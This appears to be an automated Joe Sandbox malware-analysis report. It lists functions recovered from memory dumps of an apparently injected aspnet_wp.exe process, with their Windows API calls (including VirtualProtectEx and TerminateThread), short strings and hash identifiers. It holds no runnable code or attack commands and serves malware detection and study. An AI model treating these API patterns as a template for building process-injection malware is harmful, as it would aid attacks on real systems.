Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 44319E32B01B59C2E750CF16A6A87E967A0BB64F80F08C020DE8917B57EFB5C6E18740

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C14A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002109C3C14C5
HeapFree.KERNEL32 ref: 000002109C3C14D4
GetProcessHeap.KERNEL32 ref: 000002109C3C14E1
HeapFree.KERNEL32 ref: 000002109C3C14F0
GetProcessHeap.KERNEL32 ref: 000002109C3C1500

Strings

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe, xrefs: 000002109C3D61A9, 000002109C3D61B1

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe
API String ID: 3168794593-572361757
Opcode ID: 5f1dcf0d6982f64b78ee420bc41fcee6693c0fdf65c097574d0a291fc3cf39dd
Instruction ID: 697a2a495f770095527f7e417abdaa21c96b2e01b10bf04ccbeca487eec47aef
Opcode Fuzzy Hash: 5f1dcf0d6982f64b78ee420bc41fcee6693c0fdf65c097574d0a291fc3cf39dd
Instruction Fuzzy Hash: 0431B7B7D09EC8DAF351CB759EB92897F70F7A5F40F09C415DA5603287D96486818780

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3CCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002109C3CCFAF
FlsSetValue.KERNEL32(?,?,?,000002109C3CD6B5,?,?,?,?,000002109C3CD778), ref: 000002109C3CCFE5
FlsSetValue.KERNEL32(?,?,?,000002109C3CD6B5,?,?,?,?,000002109C3CD778), ref: 000002109C3CD012
FlsSetValue.KERNEL32(?,?,?,000002109C3CD6B5,?,?,?,?,000002109C3CD778), ref: 000002109C3CD023
FlsSetValue.KERNEL32(?,?,?,000002109C3CD6B5,?,?,?,?,000002109C3CD778), ref: 000002109C3CD034
SetLastError.KERNEL32 ref: 000002109C3CD04F

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: d2fc228ec9ef7f732632d0725a39592b621edcbe3a9c8285519075b1f9931615
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A3116F30A8024CC2FA24973567FD3ED62515BB8FA0F10C714ECB6676D7DAE886918700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002109C3C19C2
K32GetModuleFileNameExW.KERNEL32 ref: 000002109C3C19E0
PathFindFileNameW.SHLWAPI ref: 000002109C3C19EF
lstrlenW.KERNEL32 ref: 000002109C3C19FB
StrCpyW.SHLWAPI ref: 000002109C3C1A0E
CloseHandle.KERNEL32 ref: 000002109C3C1A1C

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 88979637829c5f36ad83fb4bbb91d197296b070bb64ea00120c9aa1fedd5fc57
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 13016D31B00A48C2EB50DB52A5AC39963A1F798FC0F88C435DE9A53796DF7CC689C740

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002109C3C36E4
GetCurrentProcess.KERNEL32 ref: 000002109C3C36F2
VirtualProtectEx.KERNEL32 ref: 000002109C3C3714
GetCurrentProcess.KERNEL32 ref: 000002109C3C3732
VirtualProtectEx.KERNEL32 ref: 000002109C3C3753
TerminateThread.KERNEL32 ref: 000002109C3C3762

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 09471aa4dabbf490bf276f1b36b2de3e494ebcaf60028a48220a61ffdc6c5d69
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 45012575A15B48C2EB249B12E9AD3D973B0BB69F85F04C424CD5A07796EFBDC2948700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002109C3C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002109C3C90A8
RtlUnwindEx.NTDLL ref: 000002109C3C90F7

Strings

f, xrefs: 000002109C3C9026
csm, xrefs: 000002109C3C908E

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 2df408b0301d5279468e9388afdfe4c22290a8c93b27eeca5ac00d928e7b22f4
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: DB51D432A41304CADB14CB15E99DB9D3795F365F88F12C410DE965378ADBB5CAC1C784

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002109C3C1A60
StrCmpNIW.SHLWAPI ref: 000002109C3C1A7A
lstrlenW.KERNEL32 ref: 000002109C3C1A89
StrCpyW.SHLWAPI ref: 000002109C3C1A9E

Strings

\\?\, xrefs: 000002109C3C1A6E

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 28e22d6b1873d5aa684331fd1d25c733003392fab2425907d64ceb073dafdc83
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 54F03672B04645D2E7608B11EAE87996770F758F88F84C020DA8A46595DAACC7CDCB00

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002109C3C3066
StrCpyW.SHLWAPI ref: 000002109C3C3076
StrCatW.SHLWAPI ref: 000002109C3C3082
PathCombineW.SHLWAPI ref: 000002109C3C3090

Strings

\\.\pipe\, xrefs: 000002109C3C305C

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 5303737d532be7aee815c9ea91e4066ed0800bbb3d6218468f84fc2c8db0190e
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: F3F05E31A04B98C2EB408B12BAA81996260AB5CFC0F08C420EE5707B6ADF6CC6858700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3CBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002109C3CBCBD
GetProcAddress.KERNEL32 ref: 000002109C3CBCD3
FreeLibrary.KERNEL32 ref: 000002109C3CBCFA

Strings

mscoree.dll, xrefs: 000002109C3CBCB4
CorExitProcess, xrefs: 000002109C3CBCCC

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 48922e9560d5d63a7360639c54667b96fbba87616e83a6c2e1628d04e8883424
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: FBF06271A11608C1EB108B24E9AC3D96330EBA5F65F54C619DA6B451EADFACC6C98340

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002109C3C5726

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction ID: 4db37219d988b62cb7e76c9bccd3f3d811ab53cdd07be3196be0346ad1dd1133
Opcode Fuzzy Hash: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction Fuzzy Hash: 1A610A36958B48C6E760CB15E5A835E77A0F398B84F508115EACD53BAACBBCC690DF00

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3A3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002109C3A352C
_set_statfp.LIBCMT ref: 000002109C3A3547
_set_statfp.LIBCMT ref: 000002109C3A3563
_set_statfp.LIBCMT ref: 000002109C3A359F

Memory Dump Source

Source File: 0000000C.00000002.3897320165.000002109C390000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002109C390000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c390000_aspnet_wp.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: a7e7a644ef88e892ceac81f5a1759d728e127f17bbc03a8376c3b3a42f372cb0
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 84119472E50B1D91FAD4152CE6FD3F931C0AB7DB74F48C628A9E6062D7CAA8CAE15500

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3D4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002109C3D412C
_set_statfp.LIBCMT ref: 000002109C3D4147
_set_statfp.LIBCMT ref: 000002109C3D4163
_set_statfp.LIBCMT ref: 000002109C3D419F

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 68779fc11523026f97ea555d161d12a0f4b645b71e7cf82ade23cd5b2b11597c
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 00119432E10A98B1F7641568D7FE3E511506B78BF8F08C724A577066D78AA8CAC162A0

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C39F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002109C39F124

Strings

or copy constructor iterator', xrefs: 000002109C39F25A, 000002109C39F275
Wednesday, xrefs: 000002109C39F1ED
Tuesday, xrefs: 000002109C39F0F4

Memory Dump Source

Source File: 0000000C.00000002.3897320165.000002109C390000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002109C390000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c390000_aspnet_wp.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 6413fe3b86ea4e8833f82d570c5abb1f9df36577c3998b79bc84583f8a2b81ab
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: AF61B376E00A4CC2FB659B25E7EC3EA66A0E769F40F50C515C95A037A7DAF4CBC28341

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3CAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002109C3CAA68
_CallSETranslator.LIBVCRUNTIME ref: 000002109C3CAAB7

Strings

RCC, xrefs: 000002109C3CAA85
MOC, xrefs: 000002109C3CAA7C

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 1a828cddd934cb33f3c0a817913c87c8502ad2eccadb2b10e4cc18f5ea3dccca
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 99616B36A10B48CAE710DF65D5943DD77A0F368B88F04C215EF8927B9ADBB8D695C700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C39A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002109C39A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002109C39A288

Strings

csm, xrefs: 000002109C39A1C2
csm, xrefs: 000002109C39A2DA

Memory Dump Source

Source File: 0000000C.00000002.3897320165.000002109C390000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002109C390000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c390000_aspnet_wp.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 35b1188e8e91dfce2b007e1bc4e45343c13f319e1c9dcfa4f9fb0c2a27493d8e
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 38517E36920388CAEB648B1596E839877A0F365F84F18D215DA9987BD7CBF8D7D0C701

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3CAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002109C3CADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002109C3CAE88

Strings

csm, xrefs: 000002109C3CADC2
csm, xrefs: 000002109C3CAEDA

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 3ab76a9ce4f7d782354b30fe638b845afb16d610363bc242d4d06e47f3048ee6
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 88519E72950388CAEB648B259AE839C77A0F365F85F14C115DEC967B96CBB8C7E0C700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C398405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002109C398413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002109C3984A8

Strings

f, xrefs: 000002109C398426
csm, xrefs: 000002109C39848E

Memory Dump Source

Source File: 0000000C.00000002.3897320165.000002109C390000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002109C390000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c390000_aspnet_wp.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 628f64eb423d8fc008662cac0fa400421324e52c898e82e553c50239ae7b9236
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 3E51B132A01608CBDB54CF15E698B993795F3A4F98F50C224DA464778AEBF4CEC5C705

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3983E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002109C398413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002109C3984A8

Strings

f, xrefs: 000002109C398426
csm, xrefs: 000002109C39848E

Memory Dump Source

Source File: 0000000C.00000002.3897320165.000002109C390000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002109C390000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c390000_aspnet_wp.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 63866af5d0540d7372ef969533c98483b773f05a50a1811be43ea13ea00fddb4
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 6E31C132A01644D7E710DF11E9987993764F7A0F88F04C214EE4A07746CBB8CA80CB06

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3D2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002109C3D20D7
WriteFile.KERNEL32 ref: 000002109C3D239F
WriteFile.KERNEL32 ref: 000002109C3D23E5
GetLastError.KERNEL32 ref: 000002109C3D249B

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: b8b70cdbd6d51f6b99f0187d0686b0a65488bf7bb88364dadab43f1f58db5899
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 94D1E172B04A88C9E711CF66D6A42DC37B1F364B98F00C215CE5A97BDBDA75CA86C340

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3D2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000002109C3D2A9C
GetLastError.KERNEL32 ref: 000002109C3D2B27

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: cc9e096f65d64dced0a77c7fcc333678c694c32e9068788e6af39866231280c2
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: F8919072E00658C5F7609F6696E83ED2BA0B764F88F14C109DE4B576D7DAB6CAC2C700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002109C3C798C
GetCurrentThreadId.KERNEL32 ref: 000002109C3C799A
GetCurrentProcessId.KERNEL32 ref: 000002109C3C79A6
QueryPerformanceCounter.KERNEL32 ref: 000002109C3C79B6

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: e5b2fc033c86b6e1ca0cd820dab8d6992ddef54882025a4ba0049c07f53b6509
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 80111232B10F05CAEB40CF60E9A83E83374F729B58F448D21DA6D46796DB78C6948380

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002109C3C2620
StrCpyW.SHLWAPI ref: 000002109C3C2639

Strings

\\.\pipe\, xrefs: 000002109C3C262B

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: a67ab85e2471a94dacd91bba1975b10bbc18f049d6c566ac9f90305cc27928d1
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 5D71D636A40789C5D764DF269AE83ED6790F3A9F84F44C015DD8A63B8BDEB6C7858300

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C399E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002109C399EB7

Strings

MOC, xrefs: 000002109C399E7C
RCC, xrefs: 000002109C399E85

Memory Dump Source

Source File: 0000000C.00000002.3897320165.000002109C390000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002109C390000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c390000_aspnet_wp.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 32e283a32eb4389ba5d563d5a69952dbfa19361cb403f029f28b874cd54858ca
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 3D614737A04B88CAEB20DF65D5943DD77A0F368B88F048215EF4917B9ADBB8D695C700

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002109C3C2416
StrCpyW.SHLWAPI ref: 000002109C3C242D

Strings

\\.\pipe\, xrefs: 000002109C3C2421

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 0f3862f97e731aeec77e6214c76bc4a4d5ba71d43c7a35e1fc285be34e851cab
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: DD51EB72944789C2E6649A1AA2FC3EEA651F3A5F40F44C115DDD923B4BCABFC7848740

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3D26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002109C3D2807
GetLastError.KERNEL32 ref: 000002109C3D2829

Strings

U, xrefs: 000002109C3D27B3

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 054018f25b24fc4b12a3176e67b007a9fada82195253a346032ca71bf066d334
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 8041C872B14A84C6DB20DF26E5983D977A0F7A8B94F40C021EE4E87796DBBDC681C740

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002109C3C94F0
RaiseException.KERNEL32 ref: 000002109C3C9531

Strings

csm, xrefs: 000002109C3C951E

Memory Dump Source

